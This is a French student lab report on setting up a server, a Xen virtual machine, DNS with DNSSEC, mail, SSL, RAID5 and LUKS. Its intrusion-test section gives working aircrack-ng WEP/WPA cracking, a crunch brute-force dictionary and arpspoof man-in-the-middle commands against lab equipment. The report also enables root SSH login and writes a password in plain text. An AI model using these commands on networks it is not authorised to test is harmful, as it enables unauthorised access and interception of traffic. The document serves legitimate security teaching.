TP sysres IMA2a5 2020/2021 G2
Sommaire
Introduction
Présentation du projet
Partie Hardware:
Cette partie est en lien avec le travail commun :
Serveur capbreton
Nous devions insérer des nouveaux disque dur dans le serveur Capbreton, cependant nous avons eu un problème car nous n'avions pas les berceaux correspondant permettant de mettre les nouveaux disques dans le server.
Réception des nouveaux berceaux. Nous avons mis les disques durs de 3 To dans les nouveaux berceaux puis nous les avons insérés dans le serveur. Grâce aux voyant lumineux
Prochaine étape: Reboot le serveur pour que les disques soient reconnu par le serveur, peut être aller dans le boot.
Nous devions aussi relier les connexions fibre et cuivre. Mais pour cela, nous devions déterminer quel port correspond avec quelle interface. Pour cela nous avons utilisé la commande ethtool pour faire clignoter le port correspondant à l'interface choisie.
ethtool -p eth7
ethtool -p eth1
Fibre | Cuivre | |
---|---|---|
Eth1 | X | |
Eth7 | X |
Borne Wifi
Nous devions configuré les bornes WIFI. Au départ nous avons eu une borne CISCO de nouvelle génération avec un nouveau système d'exploitation. Nous avons donc fait des recherches mais la majorité des ressources que nous avons trouvées, passé par une interface homme machine directement sur le navigateur pour configurer. Or il fallait la configurer en ligne de commande, chose plus facile lorsqu'il faut le faire sur un nombre important de borne.
Nous avons eu une borne WIFI Cisco "d'ancienne génération", nous avons donc repris les commandes utilisés l'année dernière pour configurer les bornes WIFI
La configuration de la borne va s'effectuer par l'intermédiaire d'une borne WIFI, nous allons utiliser le programme minicom pour cela.
Dans un premier temps il faut configurer le minicom pour qu'il communique à la même vitesse, indiquer s'il y a un flux matériel et aussi indiquer le nom du périphérique (que l'on peut trouver avec la commande dmesg | grep tty
Activer l'interface puis entrer le mot de passe de la borne :
enable
On rentre dans le mode terminal :
conf t
On défini le SSID pour qu'il se nomme IMA2A5-WIFI1 sur le VLAN
interface Dot11Radio1
Les interfaces sont désactivés par défaut. Pour les activer, on utilise :
no shut
Si l'on souhaite plusieurs SSID alors on rentre la commande suivante :
mbssid
On défini une méthode de cryptage TKIP et AES-CCMP:
encryption vlan.. mode ciphers aes -cem tkip
On défini le nom du SSID :
ssid IMA2A5-WIFI1
Machine Virtuelle
Creation machine virtuelle
Connexion au serveur de virtualisation
Dans le cadre de ce TP notre machine virtuelle va être installé sur le serveur nommé Capbreton. Pour procéder à la création de la machine virtuelle nous allons donc nous connecter sur Capbreton par l'intermédiaire de SSH avec la commande suivante :
ssh capbreton.plil.info
Installation de la machine virtuelle
Nous allons utiliser Xen un logiciel de virtualisation qui permet de faire tourner plusieurs machines virtuelle sur une machine. Notre machine possédera les caractéristiques suivantes :
- Nom : concorde
- Adresse IP : 193.48.57.165
- Masque Réseau : 255.255.255.248
- Routeur : 193.48.57.163
La ligne de commande suivante permet la création de la machine avec les caractéristiques défini ci-dessus :
xen-create-image --hostname concorde --ip 193.48.57.165 --netmask 255.255.255.248 --gateway 193.48.57.163 --dir /usr/local/xen --dist beowulf
Pour voir l'avancement de l'installation il suffit de faire la commande:
tail -f /var/log/xen-tools/concorde.cfg
Configuration de la machine virtuelle
Dans cette partie, nous allons procéder à la configuration de la machine virtuelle. Pour cela nous allons devoir modifier le fichier de configuration situé au chemin suivant : /etc/xen/concorde.cfg
Une fois dans le fichier de configuration, il faudra modifier la ligne commençant par vif situé dans la partie "Networking", la ligne doit devenir :
vif = ['mac=16:3E:85:9F:6E, bridge=IMA2a5']
Ensuite, nous avons défini un mot de passe plus simple grâce à la commande : passwd
Pour la suite du TP le mot de passe sera : glopglopglop
Enfin voici quelques commande de base pour utiliser Xen :
- Voir les machine virtuelle démarrées :
xen list
- Démarrer sa machine virtuelle :
xen create /etc/xen/concorde.cfg
- Obtenir le terminal de la machine virtuelle :
xen console concorde
Creation répertoire Home et Var
Creation des volumes logiques
lvcreate -L10G -n concorde-home virtual
lvcreate -L10G -n concorde-var virtual
Les commandes suivantes permettent de formater une partition
mke2fs /dev/virtual/concorde-home
mke2fs /dev/virtual/concorde-var
Dans /etc/xen/concorde.cfg
disk = [ 'file:/usr/local/xen/domains/concorde/disk.img,xvda2,w', 'file:/usr/local/xen/domains/concorde/swap.img,xvda1,w', 'phy:/dev/virtual/concorde-home,xvdb1,w', 'phy:/dev/virtual/concorde-var,xvdb2,w', ]
Le fichier /etc/fstab permet à la machine virtuelle de connaitre l'existence de ses nouveaux espace mémoire, nous devons donc le modifier :
# /etc/fstab: static file system information. # # <file system> <mount point> <type> <options> <dump> <pass> proc /proc proc defaults 0 0 devpts /dev/pts devpts rw,noexec,nosuid,gid=5,mode=620 0 0 /dev/xvda1 none swap sw 0 0 /dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1 /dev/xvdb1 /home ext4 defaults 0 2 /dev/xvdb2 /var ext4 defaults 0 2
Enfin pour finaliser l'opération il faut monté le dossier /var. Cependant cela ne peut être fait directement, il faut donc passé par un dossier tampon (ici /mnt)
mount /dev/xvdb2 /mnt mv /var/* /mnt umount /mnt mount -a
Pour être sur que l'opération à correctement été réalisée taper lsblk
qui permet de voir le système de fichier
Activation du SSH
Cela peut être intéressant de pouvoir se connecter directement sur notre machine virtuelle via sont adresse ip pour cela nous devons installer ssh
apt install openssh-server
ensuite il faut modifier un fichier de connexion pour permet l'accès grâce à SSH. Dans le fichier /etc/ssh/sshd_config nous allons décommenter la ligne suivante : permitRootLogin
Ensuite un redémarrage de ssh permettra de prendre en code les nouvelles modification
service ssh restart
Apache
apt install apache2
Nous allons vérifier que le port d'écoute est le 443. Il faut donc aller dans /etc/apache2/ports.conf
On installe openSSL:
apt-get install openssl
Configuration SSH
vi /etc/ssh/ssh_config
- Il faut ensuite dé-commenter la ligne "permitRootLogin" et remplacer par "yes".
- On redémarre le ssh avec la commande
service ssh restart
Configuration DNS
Par l'intermédiaire du site gandi.net, j'ai acheté le nom de domaine "gherbomel.site"
Un serveur DNS permet de faire le lien entre une adresse IP, un nom de domaine pour le mettre en place j'ai modifié le fichier etc/bind/named.conf.options pour qu'il ressemble à cela :
options { directory "/var/cache/bind"; dnssec-validation auto; listen-on-v6 { any; }; allow-transfer { "allowed_to_transfer"; }; }; acl "allowed_to_transfer" { 193.48.57.0/32; };
Nous allons ajouter une zone DNS mais il faut modifier le fichier /etc/bind/named.conf.local :
zone "gherbomel.site"{ type master; file "/etc/bind/db.gherbomel.site"; };
Puis nous allons éditer le fichier /etc/bind/db.gherbomel.site
sudo apt install bind9
$TTL 3600 @ IN SOA ns.gherbomel.site. postmaster.gherbomel.site. ( 1 ; Version 1800 ; Refresh (30m) 600 ; Retry (10m) 3600 ; Expire (1h) 3600 ) ; Minimum TTL (1h) IN NS ns.gherbomel.site. IN NS ns6.gandi.net. ns IN A 193.48.57.165
A chaque modification il faut changer le numéro de version
La configuration du DNS ayant été modifier on relance bind9 : service bind9 restart
Zone inverse permet à partir d'une adresse IP trouvé le nom de domaine.
Sur Gandi.net nous allons renseigné le glue record qui fournit l’adresse IP d’un serveur de noms de façon à ce que le nom de domaine puisse être résolu dans le cas ou ce dernier utilise des serveurs de noms hébergés sous ce même nom de domaine. Donc le GlueRecord va être : "ns.gherbomel.site" Et dans le menu "Serveur de nom" nous allons mettre en premier : "ns.gherbomel.site" et en deuxième : "ns6.gandi.net" comme cela si un serveur de nom de fonctionne pas l'autre peut prendre le relais.
Sécurisation du serveur DNS
Dans le fichier /etc/bind/named.conf.options ajouter dnssec-enable yes;
Nous allons créer un dossier dans lequel nous allons générer les clés
cd /etc/bind mkdir gherbomel.site.dnssec
Génération des clés:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE gherbomel.site dnssec-keygen -a RSASHA1 -b 1024 -n ZONE gherbomel.site
Avec la commande mv on renomme les fichiers qui seront :
gherbomel.site-ksk.key gherbomel.site-ksk.private gherbomel.site-zsk.key gherbomel.site-zsk.private
On apporte quelques modifications à /etc/bind/db.gherbomel.site:
$include /etc/bind/gherbomel.site.dnssec/gherbomel.site-ksk.key $include /etc/bind/gherbomel.site.dnssec/gherbomel.site-zsk.key
dnssec-signzone -o gherbomel.site -k gherbomel.site-ksk ../db.gherbomel.site gherbomel.site-zsk
Cependant la fonction ne fonctionne pas avec le message d'erreur suivant : No non-KSK DNSKEY found; supply a ZSK or use '-z'.
Par la suite en régénérant les clés cela à fonctionner.
Dans le fichier named.conf.local on modifie la ligne suivante : file "/etc/bind/db.gherbomel.site.signed" Puis faire un service bind restart
Ensuite il faut ajouter les clés ksk dans gandi.net dans l'onglet DNSSEC. Il faut porter une attention à choisir le bon chiffrement (RSA/SHA1) Il faut donc copier le contenu de la commande suivante : cat gherbomel.site-ksk.key
Génération certificat
boite mail : apt install postfix
- choisir site internet
- mettre gherbomel.site
- dans /etc/alliases rajouter la ligne admin: root
- commande : "newaliases"
- on installe mailx avec la commande apt install bsd-mailx
il faut ensuite modifier le fichier /etc/bind/db.gherbomel.site
- passer le parametre version a 2
- ajouter la ligne IN MX 100 ns
- ajouter www IN A 193.48.57.165
ensuite il faut restart le service bind avec service restart bind
je me suis envoyé un mail pour voir si cela fonctionnait. Et j'ai bien reçu le mail
Grâce à OpenSSL nous allons générer une clé :
- Création d'un dossier qui contiendra le certificat le chemin de ce dossier est /etc/apache2/certificat
- Génération de la clé avec la commande :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout gherbomel.key -out gherbomel.csr
Generating a RSA private key .+++++ ..............+++++ writing new private key to 'gherbomel.key' ----- You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [AU]:FR State or Province Name (full name) [Some-State]:Nord Locality Name (eg, city) []:Lille Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech Lille Organizational Unit Name (eg, section) []:IMA2A5 Common Name (e.g. server FQDN or YOUR name) []:gherbomel.site Email Address []:herbomelguillaume@gmail.com Please enter the following 'extra' attributes to be sent with your certificate request A challenge password []:glopglopglop An optional company name []:
- Acheter un certificat:
- Aller sur le site [Gandi.net[1]]
- Aller dans la rubrique Certificat SSL
- Cliquer sur "Acheter"
- Copier la clé générée sur le site web et demander une confirmation par mail qui sera envoyé dans mon cas sur admin@gherbomel.site
-----BEGIN CERTIFICATE REQUEST----- MIIC/jCCAeYCAQAwgZsxCzAJBgNVBAYTAkZSMQ0wCwYDVQQIDAROb3JkMQ4wDAYD VQQHDAVMaWxsZTEXMBUGA1UECgwOUG9seXRlY2ggTGlsbGUxDzANBgNVBAsMBklN QTJBNTEXMBUGA1UEAwwOZ2hlcmJvbWVsLnNpdGUxKjAoBgkqhkiG9w0BCQEWG2hl cmJvbWVsZ3VpbGxhdW1lQGdtYWlsLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEP ADCCAQoCggEBALyUY5/y1jqSKb9ui+5UGO/+C2Ge9Aipcp38YCB9sgb7St7y0DJU EeOTZf2emczzEWmCpIJUVGy0F5xCpC6i1aqUEC6+EsjilsWqFomNVDJUiQwVu+IO PQ/ILaZv/m8+XG0m9NcgkguzIR5Gj1kQYtQYHe7JWgddRzTAE/9+/YtfRW6q0qTF xy94SEpASRhwnEkkCWzS9zZjUnLzlIPFGQXnuEDC2ALOfjURinLaqKCUjrBKkq61 +R8PfUDg+uKuRoz44WXH3xJZmVHSDvjYS8ayuovy/kO8KfI4qFGM8/NBY4CslGWN OzuLCvqWdrJS/18MTtyzD1N0Yl+75PUnro8CAwEAAaAdMBsGCSqGSIb3DQEJBzEO DAxnbG9wZ2xvcGdsb3AwDQYJKoZIhvcNAQELBQADggEBAB9x03pLZaHY2U/pDyjf wnnpoIuuObr+8jZXXhfd0doNdpCLGP7PPw728KpMTy+rfuO6e1OfJqxCuMOwTJj+ KNnWsNKdwub+Hi90sxPF+ZKPAt6VmjSSNHckaO9ujp1Ynag2wn1HNA7bMICd4zfo A5mt/CRgddKmNnuijckkwzzvXEe+Eia66qAjDyC2ThZQQ2xZcFa/Zu7u4kH99WrK f1TN9vxSrZ1uuu3/PwXMmfzhMMolhJuSQcHLglAzKfXJ8uzQS6fuNeH1TB3YcV8S Z3Yb583DmqK0RDx9cqFizl2ThXxo3D5bwCv96wmy0grhVRKOridbZVI3XjVDi4ci vRc= -----END CERTIFICATE REQUEST-----
Il faudra download deux fichiers et les mettre dans /etc/apache2/certificat
Le fichier /etc/apache2/sites-available/default-ssl doit être modifié pour indiquer le chemin vers les certificats
SSLCertificateChainFile /etc/apache2/certificat/GandiStandardSSLCA2.pem SSLCertificateKeyFile /etc/apache2/certificat/gherbomel.key SSLCertificateFile /etc/apache2/certificat/gherbomel.crt
Puis il faudra rentrer les commandes suivantes :
-
a2enmod ssl
-
a2ensite default-ssl
-
service apache2 reload
Boite Mail
- Créer une boite mail pour l'adresse admin@gherbomel.site Etape devant fonctionner avant achat du certificat
- Installation de postfix
apt install postfix
- choisir site internet
- mettre gherbomel.site
- Dans
/etc/alliases
rajouter la ligneadmin: root
- Puis entrer la commande :
new aliases
- Installation de postfix
on installe mailx avec la commande apt install bsd-mailx
il faut ensuite modifier le fichier /etc/bind/db.gherbomel.site
- passer le parametre version a 2
- ajouter la ligne IN MX 100 ns
- ajouter www IN A 193.48.57.165
ensuite il faut restart le service bind avec service restart bind
je me suis envoyé un mail pour voir si cela fonctionnait. Et j'ai bien reçu le mail
ajouter photo ensuite on reçoit un mail de confirmation avec un lien et un mot de passe.
Pour afficher les mails on fera mailx -p
Tests d'intrusion
Pour cracker le wifi nous allons installer aircrack-ng
apt-get aircrack-ng
Il faut faire en sorte que le firmware de la clé WIFI soit installé
apt-get install firmware-linux-nonfree
WEP
Dans cette partie, nous allons cracker le mot de passe du wifi. Pour faire cela aircrack va collecter un nombre suffisant de paquet pour retrouver le mot de passe.
Avec la commande :
ip-l
nous allons conntaire les différentes interfaces.
Ensuite nous allons activer le mode moniteur de l'interface avec la commande suivante :
sudo airmon-ng start wlx40a5ef05a110
Avec la commande :
sudo airmon-ng
nous pouvons voir tous les paquets
Nous allons regarder plus particulièrement sur l'interface wlan0mon, le canal 9 avec le SSID 04:DA:D2:9C:50:51 et envoyer les résultats dans un fichier nommé dataCrack.txt
airodump-ng wlan0mon -c 9 --bssid 04:DA:D2:9C:50:51 --write dataCrack.txt
A partir de la commande suivante :
aircrack-ng dataCrack.txt-02.cap
le programme va chercher la clé WEP. Il est possible qu'il n'y est pas assez de paquet, il faudra donc attendre le temps qu'il y est le nombre suffisant de paquets.
WPA
Grâce à cette commande nous allons rechercher le paquet avec le handshake :
airodump-ng -c 4 --bssid 00:14:1B:60:8C:21 --write dataCrackWPA
On va génerer un dictionnaire de code ayant 8 caractères comprenant les caractères 0,1,2,3,4,5,6,7,8,9
crunch 8 8 0123456789 >> Dictionnaire.txt
La commande suivante permettra de faire une attaque par force brute :
aircrack -ng -b 00:14:1B:60:8C:21 -w Dictionnaire.txt dataCrackWPA-01.cap
Pour améliorer le temps de résolution qui est de l'ordre de 5 heures, nous pouvons subdiviser le dictionnaire et tester à partir d'autres machines
Aircrack-ng 1.5.2
[01:02:31] 20127478/102795810 keys tested (2803.06 k/s)
Time left: 8 hours, 11 minutes, 32 seconds 19.58%
KEY FOUND! [ 20111111 ]
Master Key : B2 87 CD DD 51 07 AE 60 27 DF EC 8F 90 28 7D 85 DE DC 38 A4 66 39 28 A5 27 75 73 78 F1 71 FA F5
Transient Key : 0D AE D1 8A 3C 3C 2C 20 5B 4A 88 05 B6 FA CD C2 91 2F 6B 4A FE B5 68 05 C3 86 92 C3 EC 11 A3 E3 F0 1B BD 8C 18 87 F4 5E 60 59 D8 7A E9 2B D2 FB 00 27 28 84 9E 12 4A EA 5E BC 2F 29 36 0F 0F 0E
EAPOL HMAC : 83 15 59 EA 43 52 95 38 E2 C6 AD 8F 2F 37 90 29
L'homme du milieu
Pour modifier la variable /proc/sys/net/ipv4/ip_forward il faut faire la commande :
echo 1 > /proc/sys/net/ipv4/ip_forward
On se fait passer pour le routeur au près de zabeth03 :
arpspoof -t zabeth03 -i bridge 172.26.145.254
A partir de ce moment l'ordinateur se fait passer pour le routeur, nous pouvons donc voir le contenu des messages envoyé depuis une page en html
Sécurisation de données
RAID5 :
Explication RAID5:
En Raid 5, les données sont écrites à la suite sur vos disques durs. Les données sont stocker et aussi la parité est écrite (la différence entre les données écrites).
Ce qui implique que si l'un des disques dur tombe en panne les données pourront être reconstituer avec les autres disques durs. Ainsi si l’un des disques durs tombe en panne, les données perdues pourront être reconstituées avec les disques restants.
Cependant pour créer le RAID 5 il faut au minimum trois disques durs
On installe mdadm qui est un utilitaire pour gérer les périphériques RAID5 : apt-get install mdadm
On créer 3 volumes logiques de 1 Go chacun :
lvcreate -L1G -n ima2a5-concorde-d1 virtual lvcreate -L1G -n ima2a5-concorde-d2 virtual lvcreate -L1G -n ima2a5-concorde-d3 virtual
On éteint la machine virtuelle puis à partir de capbreton nous allons modifier le fichier de configuration pour ajouter les nouveaux volumes logiques créé.
Dans /etc/xen/concorde.cfg
disk = [ 'file:/usr/local/xen/domains/concorde/disk.img,xvda2,w', 'file:/usr/local/xen/domains/concorde/swap.img,xvda1,w', 'phy:/dev/virtual/concorde-home,xvdb1,w', 'phy:/dev/virtual/concorde-var,xvdb2,w', 'phy:/dev/virtual/ima2a5-concorde-d1,xvdb3,w', 'phy:/dev/virtual/ima2a5-concorde-d1,xvdb4,w', 'phy:/dev/virtual/ima2a5-concorde-d1,xvdb5,w', ]
Une fois la configuration modifié, on redémarre la machine virtuelle et on exécute la commande suivante permettant de créer le RAID5
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5
Le volume du RAID doit faire 2/3 du total des partitions donc 2 Go et on retrouve bien cela en faisait lsblk.
mdadm: /dev/xvdb3 appears to contain an ext2fs file system
size=1048576K mtime=Thu Jan 1 00:00:00 1970
mdadm: /dev/xvdb4 appears to contain an ext2fs file system
size=1048576K mtime=Thu Jan 1 00:00:00 1970
mdadm: /dev/xvdb5 appears to contain an ext2fs file system
size=1048576K mtime=Thu Jan 1 00:00:00 1970
https://doc.ubuntu-fr.org/raid_logiciel
Ensuite on fait la deamonisation pour qu'il soit lancé à chaque démarrage
sudo mdadm --daemonise /dev/md0
Mise en place d'un système de fichier EXT4 sur le volume md0 avec la commande suivante : mkfs.ext4 /dev/md0
Le volume du RAID doit faire 2/3 du total des partitions donc 2 Go et on retrouve bien cela en faisait fdisk -l
Ensuite il faut ajouter dans le fichier /etc/fstab la ligne
/dev/md0 /media/raid ext4 defaults 0 1
On crée le dossier /media/raid : mkdir /media/raid
ensuite on s'occupe de monter le dossier dans dossier temporaire
mount /dev/md0 /mnt mount -a
Ensuite on peut essayer de redémarrer la machine virtuelle pour voir si tout fonctionne encore et si cela est le cas on peut tester de casser le RAID5 en modifiant sur capbreton le fichier de configuration et en mettant en commentaire la ligne ou l'on déclare l'espace mémoire de xvdb5.
En redémarrant on regarde que md0 est devenu md127
On regarde s'il manque un disque avec cat /proc/mdstat
Enfin pour remettre en place le système RAID 5 il faut utiliser la fonction :
mdadm --manage /dev/md0 -a /dev/nom_du_disque_a_remettre
Chiffrement de données
Chiffrement clé usb:
Pour faire l'étape du chiffrement de la clé nous avons besoin d'installer "lvm2" et "crypsetup"
apt install lvm2 apt install cryptsetup
On affiche les périphériques blocs et les renseignements sur le système de fichier avec lsblk : lsblk -fs
On fait fdisk /dev/sdb1
Avec :
* d -> on supprime la partition * w -> on sauvegarde les modifications * n -> pour ajouter une nouvelle partition
Formatage de la partition au type LUKS
crypsetup luksFormat -c aes -h sha256 /dev/sdb
Ensuite il faut rentrer une passphrase exemple : "cleprive"
Ouverture et formatage en EXT4 de la partie chiffré. Le volume s'appelle ici home
cryptsetup open --type luks /dev/sdb home mkfs -ext4 /dev/mapper home
Montage puis démontage de la partie chiffré :
mount -t ext4 /dev/mapper/home /mnt umount /mnt
Fermeture de la partie chiffré:
cryptsetup close --type luks home
A partir de la, j'ai pu tester la clé sur un autre ordinateur. On constate qu'il faut un mot de passe pour accéder au contenu de la clé. Mission réussi c'est ce que l'on voulait.